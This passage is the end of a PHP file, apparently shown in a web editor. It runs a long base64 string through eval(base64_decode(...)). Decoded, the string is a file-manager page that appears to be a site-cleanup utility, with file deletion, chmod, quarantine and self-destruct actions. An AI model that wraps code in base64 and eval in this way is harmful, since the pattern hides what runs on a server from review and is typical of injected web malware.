VksrQWhPMmRlMEVFUXdzQjNsVmdLak5IZ1JEQktkdnFhWkFLOGE0WWpkQVlFRERCK3VERjQ1MEJm eEk3MnRIejlOZlEwQVhaMjMxWHRsSUpJQUFBQUFTVVZPUks1Q1lJST0pIG5vLXJlcGVhdDsKICAg IGhlaWdodDogMTVweDsKICAgIHdpZHRoOiAgMjRweDsKICAgIGRpc3BsYXk6IGlubGluZS1ibG9j azsKfQogICAgICAuZmlsZSB7CiAgICBiYWNrZ3JvdW5kOiB1cmwoZGF0YTppbWFnZS9wbmc7YmFz ZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQXdGQk1W RVh6OWZ2NCtmeURrYkdEa2JDSGs2NkRrckdDa2JDRGtyRHU4dnJ5OWZ2NSt2ejQrZnVHbXI2TW44 S0dsSzZMbHF2dzlQdVRwc2Fhck11aXM4K291Tk9zdk5YZTZQamQ1L2ZmNlBmazdQbm43dm50OHZy ejl2dmM1L2ZmNmZqZTZQZmg2dmpxOFBuMitQdVFtcWptN3Zudzlmdnk5dnVXbmFUMStQdjMrZnVW bmFTYm9hR2hwSnlucUppbnFKbXRxNVd5cjVLeXJwSzd0SXUzc1k2M3NZKy90b2pneUkvVXNtalVz bW5hdlh6VnNtbi8vLzhBQUFBQUFBQUFBQUFBQUFBWWlZU3ZBQUFBUEhSU1RsUC8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vL3dDN2lPdW5BQUFBQVdKTFIwUS9QbU13ZFFBQUFBbHdTRmx6QUFBQVNBQUFBRWdB UnNsclBnQUFBSTFKUkVGVUdOTmR5dWtTZ2lBWWhXR3hsSGJiVFlIS3RNVzBiS095N3YrK1VnNU9V eS9EbitjN3h2c3ZvL2hTOTRXVzZpa3J1TVNrSFJPU3Y2U0cyMjQ0NkhaVzkveHhCWnliZk1NTlhu UUNaT3ZKZUZTTytobmd3RmlEcVk2QU5OQ0xJQVVra2ErSy9BU3c5L1RDMndMQ1pWVUljT2JxUGx0 TUhVQlBDTGQ4cnFnRFRJdmFGcVUyTld1QW56N1o1eWlOV3lnN013QUFBQUJKUlU1RXJrSmdnZz09 KSBuby1yZXBlYXQ7CiAgICBoZWlnaHQ6IDE1cHg7CiAgICB3aWR0aDogMjRweDsKICAgIGRpc3Bs YXk6IGlubGluZS1ibG9jazsKfQogICAgICAgPC9zdHlsZT4KPC9oZWFkPgoKPGJvZHk+CiAgICAg IDwhLS0gQ29udGFpbmVyIC0tPgogICAgICA8ZGl2IGlkPSJjb250YWluZXIiPgoKICAgICAgPGEg aHJlZj0iPD9waHAgZWNobyBGSUxFOyA/Pj90aW1lPTw/cGhwIGVjaG8gdGltZSgpOyA/PiIgY2xh c3M9ImNsb3NlIiB0aXRsZT0iU2VsZiBkZXN0cnVjdCA6RCI+UmVtb3ZlIEZpbGVNYW5hZ2VyPC9h PgoKICAgICAgPCEtLSBOYXZpZ2F0aW9uIC0tPgogICAgICA8ZGl2IGlkPSJuYXYiPgogICAgICAg ICAgPD9waHAgZm9yZWFjaCAoICRsaW5rcyBhcyAkbGluayApOiA/PgogICAgICAgICAgPGEgaHJl Zj0iPD9waHAgZWNobyBGSUxFOyA/Pj9zcnVuJmFtcDtkaXI9PD9waHAgZWNobyBodG1sc3BlY2lh bGNoYXJzKCAkcHJlZml4IC4gJGxpbmtbJ3BhdGgnXSApOyA/PiZhbXA7dGltZT08P3BocCBlY2hv IHRpbWUoKTsgPz4iPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyggJGxpbmtbJ25hbWUnXSAp OyA/PjwvYT4KICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgIDwvZGl2PgoKICAg ICAgPD9waHAgaWYgKCAhIGluaXQoKSApOiA/PgogICAgICA8ZGl2IGNsYXNzPSJiYWQiPgogICAg ICAgIERpcmVjdG9yeSBpcyBub3Qgd3JpdGFibGUsIHRoZSAiLnN1Y3VyaXF1YXJhbnRpbmUiIGRp cmVjdG9yeSB3aWxsIG5vdCBiZSBhYmxlIHRvIGJlIGNyZWF0ZWQuCiAgICAgIDwvZGl2PgogICAg ICA8P3BocCBlbmRpZjsgPz4KCiAgICAgIDw/cGhwIGlmICggJGRpciA9PT0gbnVsbCApOiA/Pgog ICAgICA8ZGl2IGNsYXNzPSJiYWQiPgogICAgICAgIFlvdSBzcGVjaWZpZWQgYSBpbnZhbGlkIGRp cmVjdG9yeSwgb3Igd2FzIHRyeWluZyB0byBsZWF2ZSB0aGUgY3VycmVudCB3b3JraW5nIGFyZWEu CiAgICAgIDwvZGl2PgogICAgICA8P3BocCBlbHNlaWYgKCBpc19hcnJheSggJGl0ZW1zICkgJiYg ISBjb3VudCggJGl0ZW1zICkgKTogPz4KICAgICAgPGRpdiBjbGFzcz0iaW5mbyI+CiAgICAgICAg VGhpcyBkaXJlY3RvcnkgaXMgZW1wdHkuCiAgICAgIDwvZGl2PgogICAgICA8P3BocCBlbHNlaWYg KCAkaXRlbXMgPT09IG51bGwgJiYgJGRpciAhPT0gbnVsbCApOiA/PgogICAgICA8ZGl2IGNsYXNz PSJpbmZvIj4KICAgICAgICBUaGlzIGRpcmVjdG9yeSBhcHBlYXJzIHRvIGJlIGVtcHR5IGJlY2F1 c2UgaXQncyB1bnJlYWRhYmxlLgogICAgICA8L2Rpdj4KICAgICAgPD9waHAgZW5kaWY7ID8+Cgog ICAgICA8P3BocCBpZiAoIGlzc2V0KCAkbWVzc2FnZSApICk6ID8+CiAgICAgIDxkaXYgY2xhc3M9 Ijw/cGhwIGVjaG8gJG1lc3NhZ2VbJ3R5cGUnXTsgPz4iPgogICAgICAgIDw/cGhwIGVjaG8gJG1l c3NhZ2VbJ2JvZHknXTsgPz4KICAgICAgPC9kaXY+CiAgICAgIDw/cGhwIGVuZGlmOyA/PgoKICAg ICAgPCEtLSBNYWluIEZvcm0gLS0+CiAgICAgIDxmb3JtIGlkPSJmb3JtIiBtZXRob2Q9InBvc3Qi IGFjdGlvbj0iPD9waHAgZWNobyBGSUxFOyA/Pj9zcnVuJmFtcDt0aW1lPTw/cGhwIGVjaG8gdGlt ZSgpOyA/PiIgYWNjZXB0LWNoYXJzZXQ9InV0Zi04IiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAg IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw ZWNpYWxjaGFycyggJGRpciApOyA/PiI+CiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9 InNjcmlwdCIgaWQ9InNjcmlwdCIgdmFsdWU9IjAiPgoKICAgICAgPGRpdiBpZD0iYWN0aW9ucyI+ CiAgICAgIDxzZWxlY3QgbmFtZT0iYWN0aW9uIj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSIiPlNl bGVjdCBBY3Rpb248L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJyZW1vdmUiPkJhY2t1 cCAmIFJlbW92ZTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9InJlc3RvcmUiPlJlc3Rv cmU8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1bmxpbmsiPlJlbW92ZTwvb3B0aW9u PgogICAgICAgIDxvcHRpb24gdmFsdWU9ImNobW9kIj5DaG1vZDwvb3B0aW9uPgogICAgICAgIDxv cHRpb24gdmFsdWU9InNwYW0iPlNwYW0gUmVtb3Zlcjwvb3B0aW9uPgogICAgICAgIDw/cGhwIGlm ICggY2xhc3NfZXhpc3RzKCAnUGhhcicgKSApOiA/PgogICAgICAgIDxvcHRpb24gdmFsdWU9InRh ciI+VGFyPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0idW50YXIiPlVudGFyPC9vcHRp b24+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iY2xlYW51 cC1zY2FuIj5zY2FuZGlycyAobm9pc2UpPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT0i Y2xlYW51cC1za2lwIj5za2lwZGlycyAobm9pc2UpPC9vcHRpb24+CiAgICAgIDwvc2VsZWN0Pgog ICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUHJvY2VzcyI+CiAgICAgIDxidXR0b24g aWQ9ImNoZWNrQWxsIiBjbGFzcz0iaGlkZSI+U2VsZWN0IEFsbDwvYnV0dG9uPgogICAgICA8L2Rp dj4KCiAgICAgIDx0YWJsZT4KICAgICAgPHRoZWFkPgogICAgICA8dHI+CiAgICAgICAgICAgIDx0 ZCBpZD0ibmFtZSI+RmlsZS9Gb2xkZXI8L3RkPgogICAgICAgICAgICA8dGQgaWQ9InNpemUiPkZp bGVzaXplPC90ZD4KICAgICAgICAgICAgPHRkIGlkPSJleHRlbnNpb24iPkV4dGVuc2lvbjwvdGQ+ CiAgICAgICAgICAgIDx0ZCBpZD0iZGF0ZSI+TGFzdCBNb2RpZmllZDwvdGQ+CiAgICAgICAgICAg IDx0ZCBpZD0icGVybSI+T3duZXI6R3JvdXA8L3RkPgogICAgICAgICAgICA8dGQgaWQ9InBlcm0i PlBlcm1pc3Npb25zPC90ZD4KICAgICAgICAgICAgPHRkIGlkPSJsaW5rIj5TeW1saW5rPC90ZD4K ICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCI+PC90ZD4KICAgICAgPC90cj4K ICAgICAgPC90aGVhZD4KICAgICAgPHRib2R5PgoKICAgICAgPD9waHAgZm9yZWFjaCAoICRpdGVt cyBhcyAkbmFtZSA9PiAkcGF0aCApOiA/PgogICAgICA8dHI+CiAgICAgICAgICA8P3BocCBpZiAo IGlzX2ZpbGUoICRwYXRoICkgKToKICAgICAgICAgIC8vcHJlcGFyZSBmaWxlcyB0byBvcGVuIG9u IGNsZWFudXAKICAgICAgICAgICRjZmlsZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHByZWZpeCAuICRs aW5rWydwYXRoJ10pIC4gJy8nIC4gJG5hbWU7CiAgICAgICAgICAkY3dkZiA9IHN0cl9yZXBsYWNl KCdcXCcgLCAnLycgLCBodG1sc3BlY2lhbGNoYXJzKGRpcm5hbWUoX19GSUxFX18pKSk7CiAgICAg ICAgICAkY2ZpbGUgPSBzdHJfcmVwbGFjZSgkY3dkZiAsICcuJyAsIGh0bWxzcGVjaWFsY2hhcnMo JGNmaWxlKSk7CiAgICAgICAgICAvL2VuZCBwcmVwYXJlID8+CiAgICAgICAgICAgIDx0ZCBkYXRh LXRpdGxlPSI8P3BocCBlY2hvICJiLSIgLiBodG1sc3BlY2lhbGNoYXJzKCAkbmFtZSApOyA/PiI+ PGkgY2xhc3M9ImZpbGUiPjwvaT48P3BocCBlY2hvKCc8YSBocmVmPSJzdWN1cmktY2xlYW51cC5w aHA/c3J1biZuZXcmc2VlZmlsZT0nIC4gYmFzZTY0X2VuY29kZSggJGNmaWxlICkgLiAnIiB0YXJn ZXQ9Il9ibGFuayI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoICRuYW1lICkgLiAnPC9hPicpOyAgPz48 L3RkPgogICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICA8dGQgZGF0YS10aXRs ZT0iPD9waHAgZWNobyAiYS0iIC4gaHRtbHNwZWNpYWxjaGFycyggJG5hbWUgKTsgPz4iPjxpIGNs YXNzPSJkaXIiPjwvaT48YSBocmVmPSI8P3BocCBlY2hvIEZJTEU7ID8+P3NydW4mYW1wO2Rpcj08 P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoICRwYXRoICk7ID8+JmFtcDt0aW1lPTw/cGhwIGVj aG8gdGltZSgpOyA/PiI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCAkbmFtZSApOyA/Pjwv YT48L3RkPgogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgPHRkIGRhdGEt dGl0bGU9Ijw/cGhwIGVjaG8gbnVtYmVyX2Zvcm1hdCggZmlsZXNpemUoICRwYXRoICkgLyAxMDI0 IC8gMTAyNCAvIDEwMjQsIDMwICk7ID8+Ij48P3BocCBlY2hvIGZvcm1hdFNpemUoIGZpbGVzaXpl KCAkcGF0aCApICk7ID8+PC90ZD4KICAgICAgICAgICAgPHRkIGRhdGEtdGl0bGU9Ijw/cGhwIGVj aG8gaHRtbHNwZWNpYWxjaGFycyhwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7 ID8+Ij48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZP X0VYVEVOU0lPTikpOyA/PjwvdGQ+CiAgICAgICAgICAgIDx0ZCBkYXRhLXRpdGxlPSI8P3BocCBl Y2hvIGZpbGVtdGltZSggJHBhdGggKTsgID8+Ij48P3BocCBlY2hvIGRhdGUoICdkUyBNIFkgSDpp OnMnLCBmaWxlbXRpbWUoICRwYXRoICkgKTsgID8+PC90ZD4KICAgICAgICAgICAgPD9waHAgCiAg ICAgICAgICAgICAgICBpZiAoUEhQX09TICE9PSAiV0lOTlQiKSB7CiAgICAgICAgICAgICAgICAg ICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlz dHMoJ2ZpbGVvd25lcicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAkZmlsZV9vd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25l cigkcGF0aCkpWyJuYW1lIl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9ncm91 cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkcGF0aCkpWyJuYW1lIl07CiAgICAgICAgICAg ICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAg ICAgICAgICAgLy8gSGFuZGxlIHRoZSBleGNlcHRpb24gb3IgbG9nIHRoZSBlcnJvcgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgJGZpbGVfb3duZXIgPSAidW5rbm93biI7CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAkZmlsZV9ncm91cCA9ICJ1bmtub3duIjsKICAgICAgICAgICAgICAg ICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KCiAgICAg ICAgICAgICAgICBpZiAoIWlzc2V0KCRmaWxlX293bmVyKSkgewogICAgICAgICAgICAgICAgICAg ICRmaWxlX293bmVyID0gInVua25vd24iOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAg ICAgIGlmICghaXNzZXQoJGZpbGVfZ3JvdXApKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVf Z3JvdXAgPSAidW5rbm93biI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgID8+CgogICAg ICAgICAgICA8dGQgZGF0YS10aXRsZT0iPD9waHAgZWNobyAkZmlsZV9vd25lciAuICI6IiAuICRm aWxlX2dyb3VwOyA/PiI+PD9waHAgZWNobyAkZmlsZV9vd25lciAuICI6IiAuICRmaWxlX2dyb3Vw OyA/PjwvdGQ+CiAgICAgICAgICAgIDx0ZCBkYXRhLXRpdGxlPSI8P3BocCBlY2hvIHN1YnN0cigg c3ByaW50ZiggJyVvJywgZmlsZXBlcm1zKCAkcGF0aCApICksIC0zICk7ID8+Ij48P3BocCBlY2hv IHN1YnN0ciggc3ByaW50ZiggJyVvJywgZmlsZXBlcm1zKCAkcGF0aCApICksIC0zICk7ID8+PC90 ZD4KICAgICAgICAgICAgPHRkIGRhdGEtdGl0bGU9Ijw/cGhwIGVjaG8gaXNfbGluayggJHBhdGgg KSA/ICdZJyA6ICdOJzsgID8+Ij48P3BocCBlY2hvIGlzX2xpbmsoICRwYXRoICkgPyAnWScgOiAn Tic7ICA/PjwvdGQ+CiAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9 Iml0ZW1zW10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoICRwYXRoICk7ID8+ Ij48L3RkPgogICAgICA8L3RyPgogICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PgoKICAgICAgPC90 Ym9keT4KICAgICAgPC90YWJsZT4KICAgICAgPC9mb3JtPgoKICAgICAgPC9kaXY+CgogICAgICA8 IS0tIExvYWQgSlMgLS0+CiAgICAgIDxzY3JpcHQgc3JjPSIvL2NvZGUuanF1ZXJ5LmNvbS9qcXVl cnktMi4xLjQubWluLmpzIj48L3NjcmlwdD4KICAgICAgPHNjcmlwdD4KICAgICAgICAvLyBIaWRl IENoZWNrYm94ZXMgc2luY2UgSlMgaXMgZW5hYmxlZAogICAgICAgICQoJ2lucHV0W3R5cGU9ImNo ZWNrYm94Il0nKS5lYWNoKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICQodGhpcykucGFyZW50KCku YWRkQ2xhc3MoJ2hpZGUnKQogICAgICAgIH0pCiAgICAgICAgLy8gU2hvdyBTZWxlY3QgYWxsCiAg ICAgICAgJCgnI2NoZWNrQWxsJykucmVtb3ZlQ2xhc3MoJ2hpZGUnKQoKICAgICAgICAvLyBTZXR1 cCBTZWxlY3QgYWxsIGV2ZW50CiAgICAgICAgJCgnI2NoZWNrQWxsJykuY2xpY2soZnVuY3Rpb24o ZSkgewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIGxldCBidG4g PSAkKHRoaXMpOwogICAgICAgICAgICBidG4udG9nZ2xlQ2xhc3MoJ2NoZWNrZWQnKTsKICAgICAg ICAgICAgJCgnaW5wdXRbdHlwZT0iY2hlY2tib3giXScpLmVhY2goZnVuY3Rpb24oKXsKICAgICAg ICAgICAgICAgICQodGhpcykucHJvcCgnY2hlY2tlZCcsIGJ0bi5oYXNDbGFzcygnY2hlY2tlZCcp KTsKICAgICAgICAgICAgICAgIGJ0bi5oYXNDbGFzcygnY2hlY2tlZCcpID8gJCh0aGlzKS5wYXJl bnQoKS5wYXJlbnQoKS5hZGRDbGFzcygnc2VsZWN0ZWQnKSA6ICQodGhpcykucGFyZW50KCkucGFy ZW50KCkucmVtb3ZlQ2xhc3MoJ3NlbGVjdGVkJyk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0p OwoKICAgICAgICAvLyB0YWJsZSBzb3J0IC0tLS0tLS0tLQogICAgICAgIGZ1bmN0aW9uIHNvcnRU YWJsZShmLG4pewogICAgICAgICAgbGV0IHJvd3MgPSAkKCd0Ym9keSB0cicpLmdldCgpOwoKICAg ICAgICAgIHJvd3Muc29ydChmdW5jdGlvbihhLCBiKSB7CiAgICAgICAgICAgIGxldCBBID0gYS5j aGlsZHJlbltuXS5kYXRhc2V0LnRpdGxlCiAgICAgICAgICAgIGxldCBCID0gYi5jaGlsZHJlbltu XS5kYXRhc2V0LnRpdGxlCgogICAgICAgICAgICBpZihBIDwgQikgewogICAgICAgICAgICAgIHJl dHVybiAtMSpmOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKEEgPiBCKSB7CiAgICAgICAg ICAgICAgcmV0dXJuIDEqZjsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gMDsKICAg ICAgICAgIH0pOwoKICAgICAgICAgIGxldCB0Ym9keSA9ICQoJ3RhYmxlJykuY2hpbGRyZW4oJ3Ri b2R5JykKICAgICAgICAgICQuZWFjaChyb3dzLCBmdW5jdGlvbihpbmRleCwgcm93KSB7CiAgICAg ICAgICAgIHRib2R5LmFwcGVuZChyb3cpOwogICAgICAgICAgfSk7CiAgICAgICAgfQoKICAgICAg ICBsZXQgbnVtID0gMTsKICAgICAgICBsZXQgdGV4ID0gMTsKCiAgICAgICAgJCgiI25hbWUsICNs aW5rLCAjZXh0ZW5zaW9uIikuY2xpY2soZnVuY3Rpb24oKXsKICAgICAgICAgICAgdGV4ICo9IC0x OwogICAgICAgICAgICBsZXQgbiA9ICQodGhpcykucHJldkFsbCgpLmxlbmd0aDsKICAgICAgICAg ICAgc29ydFRhYmxlKHRleCxuKTsKICAgICAgICB9KTsKCiAgICAgICAgJCgiI3NpemUsICNkYXRl LCAjcGVybSIpLmNsaWNrKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgIHRleCAqPSAtMTsKICAgICAg ICAgICAgbGV0IG4gPSAkKHRoaXMpLnByZXZBbGwoKS5sZW5ndGg7CiAgICAgICAgICAgIHNvcnRU YWJsZSh0ZXgsbik7CiAgICAgICAgfSk7CgogICAgICAgIC8vIHRhYmxlIHNvcnQgLS0tLS0tLS0t CgogICAgICAgIC8vIHRhYmxlIHJvdyBzZWxlY3QgLS0tLS0tLS0tCgogICAgICAgICQoJ3Rib2R5 JykuY2hpbGRyZW4oKS5vbignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAvLyBUb2dn bGUgU2VsZWN0ZWQgQ2xhc3MKICAgICAgICAgICQodGhpcykudG9nZ2xlQ2xhc3MoJ3NlbGVjdGVk Jyk7CgogICAgICAgICAgLy8gVG9nZ2xlIENoZWNrYm94IChIaWRkZW4pCiAgICAgICAgICBsZXQg YyA9ICQodGhpcykuZmluZCgnaW5wdXQnKQogICAgICAgICAgYy5wcm9wKCdjaGVja2VkJywgJCh0 aGlzKS5oYXNDbGFzcygnc2VsZWN0ZWQnKSk7CgogICAgICAgICAgLy8gSGFuZGxlIFNoaWZ0IENs aWNrCiAgICAgICAgICBpZiAoZS5zaGlmdEtleSkgewogICAgICAgICAgICAgIC8vIENoZWNrIGZv ciBsYXN0IGNsaWNrZWQKICAgICAgICAgICAgICBsZXQgbGMgPSAkKHRoaXMpLnBhcmVudCgpLmZp bmQoJy5sYXN0LWNsaWNrZWQnKQogICAgICAgICAgICAgIGlmKGxjLmxlbmd0aCA9PT0gMSkgewog ICAgICAgICAgICAgICAgLy8gU2VsZWN0IGFsbCBpbmJldHdlZW4gbGFzdCBjbGlja2VkCiAgICAg ICAgICAgICAgICBpZihsYy5pbmRleCgpID4gJCh0aGlzKS5pbmRleCgpKSB7CiAgICAgICAgICAg ICAgICAgICQuZWFjaChsYy5wcmV2VW50aWwoJCh0aGlzKSksIGZ1bmN0aW9uKGssdikgewogICAg ICAgICAgICAgICAgICAgICQodikuYWRkQ2xhc3MoJ3NlbGVjdGVkJykKICAgICAgICAgICAgICAg ICAgICAkKHYpLmZpbmQoJ2lucHV0JykucHJvcCgnY2hlY2tlZCcsIHRydWUpCiAgICAgICAgICAg ICAgICAgIH0pCiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAkLmVh Y2gobGMubmV4dFVudGlsKCQodGhpcykpLCBmdW5jdGlvbihrLHYpIHsKICAgICAgICAgICAgICAg ICAgICAkKHYpLmFkZENsYXNzKCdzZWxlY3RlZCcpCiAgICAgICAgICAgICAgICAgICAgJCh2KS5m aW5kKCdpbnB1dCcpLnByb3AoJ2NoZWNrZWQnLCB0cnVlKQogICAgICAgICAgICAgICAgICB9KQog ICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIH0KICAgICAgICAgIH0gZWxzZSB7CiAgICAg ICAgICAgIC8vIExhc3QgQ2xpY2tlZAogICAgICAgICAgICAkKCd0Ym9keScpLmNoaWxkcmVuKCku cmVtb3ZlQ2xhc3MoJ2xhc3QtY2xpY2tlZCcpCiAgICAgICAgICAgICQodGhpcykuYWRkQ2xhc3Mo J2xhc3QtY2xpY2tlZCcpCiAgICAgICAgICB9CiAgICAgICAgfSkKCiAgICAgICAgLy8gdGFibGUg cm93IHNlbGVjdCAtLS0tLS0tLS0KCgogICAgICAgICQoJyNmb3JtJykuc3VibWl0KGZ1bmN0aW9u KGUpCiAgICAgICAgewogICAgICAgICAgICAkb3B0aW9uID0gJCgnc2VsZWN0JykudmFsKCk7CiAg ICAgICAgICAgIGlmICggJG9wdGlvbiA9PSAndW5saW5rJyApCiAgICAgICAgICAgIHsKICAgICAg ICAgICAgICAgICRhbnN3ZXIgPSBjb25maXJtKCJZb3UgYXJlIGFib3V0IHRvIHBlcm1hbmVudGx5 IHJlbW92ZSBkYXRhLCBkbyB5b3Ugd2lzaCB0byBwcm9jZWVkPyIpOwogICAgICAgICAgICAgICAg aWYgKCAkYW5zd2VyID09PSBmYWxzZSApCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAg ICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg IH0KICAgICAgICB9KTsKCiAgICAgICAgJCgnI3NjcmlwdCcpLnZhbCgxKTsKICAgICAgPC9zY3Jp cHQ+CjwvYm9keT4KCjwvaHRtbD4K "; eval( base64_decode( $payload ) );
💾 Save Changes
❌ Cancel